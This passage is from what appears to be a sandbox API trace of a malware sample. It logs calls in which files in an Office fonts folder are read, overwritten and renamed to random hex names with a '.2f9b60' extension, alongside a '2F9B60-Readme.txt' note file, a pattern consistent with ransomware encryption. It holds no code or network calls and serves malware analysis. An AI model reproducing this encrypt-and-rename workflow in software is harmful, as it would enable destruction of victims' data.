Seed=0x3f7bf6f0) returned 0x39e38fe2 [0119.765] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x441ffe5b [0119.765] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x7d64fe55 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x30821e06 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x23c15b6f [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x326f9a34 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x319b4e6 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x6d159048 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x3a4bfe7e [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x48e9fd10 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x78e2a0a9 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x574dc779 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x574dc779 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x3e3010ee [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x349ece78 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x79428b76 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x700a43b7 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x74272814 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x52ee45e5 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x1c176bfa [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x209eceff [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x1f7d1e8b [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x6382b12 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x46d03047 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x2ca1cf3d [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x5c9f6d73 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x63b34730 [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x24e545bd [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x18a3805e [0119.766] RtlRandomEx (in: Seed=0x3f7bf6f0 | out: Seed=0x3f7bf6f0) returned 0x5ab1a8ac [0119.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860300 [0119.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0119.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860360 [0119.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0119.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860240) returned 1 [0119.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd976c0 [0119.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503890 [0119.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20473b80 [0119.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20468750 [0119.776] ReadFile (in: hFile=0x180c, lpBuffer=0x20473b80, nNumberOfBytesToRead=0xef5, lpNumberOfBytesRead=0x3f7bf6f0, lpOverlapped=0x0 | out: lpBuffer=0x20473b80*, lpNumberOfBytesRead=0x3f7bf6f0*=0xef5, lpOverlapped=0x0) returned 1 [0119.776] SetFilePointerEx (in: hFile=0x180c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.776] WriteFile (in: hFile=0x180c, lpBuffer=0x20468750*, nNumberOfBytesToWrite=0xef5, lpNumberOfBytesWritten=0x3f7bf6f4, lpOverlapped=0x0 | out: lpBuffer=0x20468750*, lpNumberOfBytesWritten=0x3f7bf6f4*=0xef5, lpOverlapped=0x0) returned 1 [0122.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0122.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0122.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260560) returned 1 [0122.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20468750) returned 1 [0122.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20473b80) returned 1 [0122.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503890) returned 1 [0122.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0122.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20260560 [0122.211] SetFilePointerEx (in: hFile=0x180c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.211] WriteFile (in: hFile=0x180c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f7bf810, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x3f7bf810*=0x106, lpOverlapped=0x0) returned 1 [0123.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0123.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f520 [0123.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f520) returned 1 [0123.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0123.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f520 [0123.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0123.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fca0) returned 1 [0123.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0123.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda0670 [0123.024] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="7c") returned 2 [0123.024] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="29") returned 2 [0123.024] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="a3") returned 2 [0123.024] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="f1") returned 2 [0123.024] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="c4") returned 2 [0123.024] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="d3") returned 2 [0123.024] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="ee") returned 2 [0123.024] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="3c") returned 2 [0123.024] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="b4") returned 2 [0123.024] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="e9") returned 2 [0123.024] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="7a") returned 2 [0123.024] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="b6") returned 2 [0123.024] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="61") returned 2 [0123.024] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="87") returned 2 [0123.024] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="f7") returned 2 [0123.024] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="76") returned 2 [0123.025] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="b9") returned 2 [0123.025] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="e6") returned 2 [0123.025] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="58") returned 2 [0123.025] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="53") returned 2 [0123.025] RtlInitAnsiString (in: DestinationString=0x3f7bf888, SourceString="7c29a3f1c4d3ee3cb4e97ab66187f776b9e65853" | out: DestinationString="7c29a3f1c4d3ee3cb4e97ab66187f776b9e65853") [0123.025] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f7bf858, SourceString="7c29a3f1c4d3ee3cb4e97ab66187f776b9e65853", AllocateDestinationString=1 | out: DestinationString="7c29a3f1c4d3ee3cb4e97ab66187f776b9e65853") returned 0x0 [0123.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9cb50 [0123.025] wcscat (in: _Dest=0x1cd64c60, _Source="7c29a3f1c4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7c29a3f1c4") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7c29a3f1c4" [0123.025] wcscat (in: _Dest=0x1cd64c60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7c29a3f1c4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7c29a3f1c4.2f9b60" [0123.025] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7c29a3f1c4.2f9b60", NtPathName=0x3f7bf830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7c29a3f1c4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x42060250 [0123.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060250) returned 1 [0123.343] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceceea0) returned 1 [0123.343] NtQueryInformationFile (in: FileHandle=0x180c, IoStatusBlock=0x3f7bf898, FileInformation=0x3f7bf8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f7bf898, FileInformation=0x3f7bf8a8) returned 0x0 [0123.343] NtSetInformationFile (FileHandle=0x180c, IoStatusBlock=0x3f7bf898, FileInformation=0x3f7bf8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64c60) returned 1 [0123.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cb50) returned 1 [0123.344] FlushFileBuffers (hFile=0x180c) returned 1 [0123.355] CloseHandle (hObject=0x180c) returned 1 [0123.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ac8f0 [0123.356] wcscpy (in: _Dest=0x202ac8f0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0123.356] wcscat (in: _Dest=0x202ac8f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0123.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0123.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac8f0) returned 1 [0123.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bc30) returned 1 Thread: id = 1419 os_tid = 0x1880 [0119.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml")) returned 0x20 [0119.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml", dwFileAttributes=0x20) returned 1 [0119.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17f0 [0119.591] GetFileSizeEx (in: hFile=0x17f0, lpFileSize=0x3f8cf8e0 | out: lpFileSize=0x3f8cf8e0*=3606) returned 1 [0119.592] SetFilePointerEx (in: hFile=0x17f0, liDistanceToMove=0xe12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.592] ReadFile (in: hFile=0x17f0, lpBuffer=0x3f8cf860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f8cf8a8, lpOverlapped=0x0 | out: lpBuffer=0x3f8cf860*, lpNumberOfBytesRead=0x3f8cf8a8*=0x4, lpOverlapped=0x0) returned 1 [0119.788] SetFilePointerEx (in: hFile=0x17f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860570 [0119.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860180 [0119.788] NtQuerySystemTime (in: CurrentTime=0x3f8cf7a0 | out: CurrentTime=0x3f8cf7a0*=132462177251974000) returned 0x0 [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x5ac1fa7c [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x5c76b11b [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x2ee61db8 [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x249ec195 [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x540af145 [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x571924a1 [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x66b73d2e [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x34d571d1 [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x6617a6c6 [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x1b135c69 [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x173b08de [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x15aaa7f3 [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x5dd96024 [0119.788] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x4b61ab44 [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x4df16982 [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x2bab0185 [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x7fe97337 [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x65a682c [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x7a0030aa [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0xe4fc03d [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x63b34730 [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x5d7d2f47 [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x6d729691 [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x5c5874e8 [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x7742fed1 [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x68f1da3c [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x1fa67c2b [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x3e7eeca1 [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x560dfddc [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x2bab0185 [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x6375d6db [0119.789] RtlRandomEx (in: Seed=0x3f8cf790 | out: Seed=0x3f8cf790) returned 0x1f473cd6 [0119.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa90 [0119.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503690 [0119.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8b0 [0119.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0119.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860180) returned 1 [0119.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97670 [0119.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503690 [0119.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f885a0 [0119.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f7d170 [0119.797] ReadFile (in: hFile=0x17f0, lpBuffer=0x41f885a0, nNumberOfBytesToRead=0xe16, lpNumberOfBytesRead=0x3f8cf790, lpOverlapped=0x0 | out: lpBuffer=0x41f885a0*, lpNumberOfBytesRead=0x3f8cf790*=0xe16, lpOverlapped=0x0) returned 1 [0119.797] SetFilePointerEx (in: hFile=0x17f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.798] WriteFile (in: hFile=0x17f0, lpBuffer=0x41f7d170*, nNumberOfBytesToWrite=0xe16, lpNumberOfBytesWritten=0x3f8cf794, lpOverlapped=0x0 | out: lpBuffer=0x41f7d170*, lpNumberOfBytesWritten=0x3f8cf794*=0xe16, lpOverlapped=0x0) returned 1 [0122.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0122.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625d0 [0122.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625d0) returned 1 [0122.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f7d170) returned 1 [0122.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f885a0) returned 1 [0122.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503690) returned 1 [0122.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0122.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202625d0 [0122.203] SetFilePointerEx (in: hFile=0x17f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.203] WriteFile (in: hFile=0x17f0, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3f8cf8b0, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x3f8cf8b0*=0x10c, lpOverlapped=0x0) returned 1 [0122.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059740 [0122.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0122.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e710 [0122.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e710) returned 1 [0122.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x2050e710 [0122.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e740 [0122.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e770 [0122.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e770) returned 1 [0122.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0122.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059740) returned 1 [0122.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cda06f0 [0122.728] sprintf (in: _Dest=0x1cda06f0, _Format="%c%c" | out: _Dest="70") returned 2 [0122.728] sprintf (in: _Dest=0x1cda06f2, _Format="%c%c" | out: _Dest="45") returned 2 [0122.728] sprintf (in: _Dest=0x1cda06f4, _Format="%c%c" | out: _Dest="d6") returned 2 [0122.728] sprintf (in: _Dest=0x1cda06f6, _Format="%c%c" | out: _Dest="c5") returned 2 [0122.728] sprintf (in: _Dest=0x1cda06f8, _Format="%c%c" | out: _Dest="cb") returned 2 [0122.728] sprintf (in: _Dest=0x1cda06fa, _Format="%c%c" | out: _Dest="34") returned 2 [0122.728] sprintf (in: _Dest=0x1cda06fc, _Format="%c%c" | out: _Dest="65") returned 2 [0122.729] sprintf (in: _Dest=0x1cda06fe, _Format="%c%c" | out: _Dest="a6") returned 2 [0122.729] sprintf (in: _Dest=0x1cda0700, _Format="%c%c" | out: _Dest="03") returned 2 [0122.729] sprintf (in: _Dest=0x1cda0702, _Format="%c%c" | out: _Dest="81") returned 2 [0122.729] sprintf (in: _Dest=0x1cda0704, _Format="%c%c" | out: _Dest="34") returned 2 [0122.729] sprintf (in: _Dest=0x1cda0706, _Format="%c%c" | out: _Dest="d1") returned 2 [0122.729] sprintf (in: _Dest=0x1cda0708, _Format="%c%c" | out: _Dest="d2") returned 2 [0122.729] sprintf (in: _Dest=0x1cda070a, _Format="%c%c" | out: _Dest="ec") returned 2 [0122.729] sprintf (in: _Dest=0x1cda070c, _Format="%c%c" | out: _Dest="d4") returned 2 [0122.729] sprintf (in: _Dest=0x1cda070e, _Format="%c%c" | out: _Dest="d5") returned 2 [0122.729] sprintf (in: _Dest=0x1cda0710, _Format="%c%c" | out: _Dest="a3") returned 2 [0122.729] sprintf (in: _Dest=0x1cda0712, _Format="%c%c" | out: _Dest="21") returned 2 [0122.729] sprintf (in: _Dest=0x1cda0714, _Format="%c%c" | out: _Dest="9b") returned 2 [0122.729] sprintf (in: _Dest=0x1cda0716, _Format="%c%c" | out: _Dest="74") returned 2 [0122.729] sprintf (in: _Dest=0x1cda0718, _Format="%c%c" | out: _Dest="05") returned 2 [0122.729] sprintf (in: _Dest=0x1cda071a, _Format="%c%c" | out: _Dest="59") returned 2 [0122.729] sprintf (in: _Dest=0x1cda071c, _Format="%c%c" | out: _Dest="a3") returned 2 [0122.729] sprintf (in: _Dest=0x1cda071e, _Format="%c%c" | out: _Dest="21") returned 2 [0122.729] sprintf (in: _Dest=0x1cda0720, _Format="%c%c" | out: _Dest="1e") returned 2 [0122.729] sprintf (in: _Dest=0x1cda0722, _Format="%c%c" | out: _Dest="97") returned 2 [0122.729] RtlInitAnsiString (in: DestinationString=0x3f8cf928, SourceString="7045d6c5cb3465a6038134d1d2ecd4d5a3219b740559a3211e97" | out: DestinationString="7045d6c5cb3465a6038134d1d2ecd4d5a3219b740559a3211e97") [0122.729] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f8cf8f8, SourceString="7045d6c5cb3465a6038134d1d2ecd4d5a3219b740559a3211e97", AllocateDestinationString=1 | out: DestinationString="7045d6c5cb3465a6038134d1d2ecd4d5a3219b740559a3211e97") returned 0x0 [0122.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20505110 [0122.730] wcscat (in: _Dest=0x106940, _Source="7045d6c5cb346" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7045d6c5cb346") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7045d6c5cb346" [0122.730] wcscat (in: _Dest=0x106940, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7045d6c5cb346.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7045d6c5cb346.2f9b60" [0122.730] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7045d6c5cb346.2f9b60", NtPathName=0x3f8cf8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\7045d6c5cb346.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776770 [0123.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0123.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290740) returned 1 [0123.499] NtQueryInformationFile (in: FileHandle=0x17f0, IoStatusBlock=0x3f8cf938, FileInformation=0x3f8cf948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f8cf938, FileInformation=0x3f8cf948) returned 0x0 [0123.499] NtSetInformationFile (FileHandle=0x17f0, IoStatusBlock=0x3f8cf938, FileInformation=0x3f8cf948, Length=0x28, 